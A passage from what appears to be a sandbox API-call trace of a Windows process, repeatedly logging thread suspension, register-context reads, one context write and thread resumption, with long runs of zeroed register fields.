[74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0283.262] ResumeThread (hThread=0xf4) returned 0x1 [0283.262] CloseHandle (hObject=0xf4) returned 1 [0283.262] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0283.619] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0283.619] SuspendThread (hThread=0xf4) returned 0x0 [0283.619] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffd00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe7b00b, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0284.364] ResumeThread (hThread=0xf4) returned 0x1 [0284.364] CloseHandle (hObject=0xf4) returned 1 [0284.364] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0284.701] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0284.701] SuspendThread (hThread=0xf4) returned 0x0 [0284.702] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffb58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe95860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0285.044] ResumeThread (hThread=0xf4) returned 0x1 [0285.044] CloseHandle (hObject=0xf4) returned 1 [0285.044] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0285.351] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0285.351] SuspendThread (hThread=0xf4) returned 0x0 [0285.351] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ff798, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe8d2c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0285.606] ResumeThread (hThread=0xf4) returned 0x1 [0285.606] CloseHandle (hObject=0xf4) returned 1 [0285.606] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0286.204] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0286.204] SuspendThread (hThread=0xf4) returned 0x0 [0286.204] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137640, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xeb293a, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0286.538] SetThreadContext (hThread=0xf4, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137638, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, 